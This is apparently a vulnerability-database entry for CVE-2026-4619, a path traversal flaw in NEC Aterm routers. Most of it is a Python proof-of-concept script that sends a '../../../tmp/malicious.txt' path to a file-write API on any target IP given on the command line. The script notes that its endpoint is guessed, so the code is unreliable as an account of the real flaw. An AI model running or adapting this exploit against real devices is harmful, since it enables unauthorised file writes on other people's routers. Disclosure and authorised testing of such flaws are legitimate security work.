cpe:2.3:h:nec:aterm_wx3600hp:-:*:*:*:*:*:*:* - NOT VULNERABLE
NEC Aterm Series (具体受影响版本请参考厂商安全公告 NV26-001)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit_poc(target_ip):
"""
PoC for CVE-2026-4619: Path Traversal in NEC Aterm Series
Demonstrates writing arbitrary content to a file.
"""
target_url = f"http://{target_ip}/api/file_write"
# Payload attempting to write to a sensitive system file
# Note: The actual endpoint may vary based on firmware.
data = {
"path": "../../../tmp/malicious.txt",
"content": "This file was written by CVE-2026-4619 PoC."
}
try:
response = requests.post(target_url, data=data, timeout=5)
if response.status_code == 200:
print(f"[+] Exploit successful! Server responded: {response.text}")
else:
print(f"[-] Exploit failed. Status code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print("Usage: python3 cve_2026_4619_poc.py <target_ip>")
else:
exploit_poc(sys.argv[1])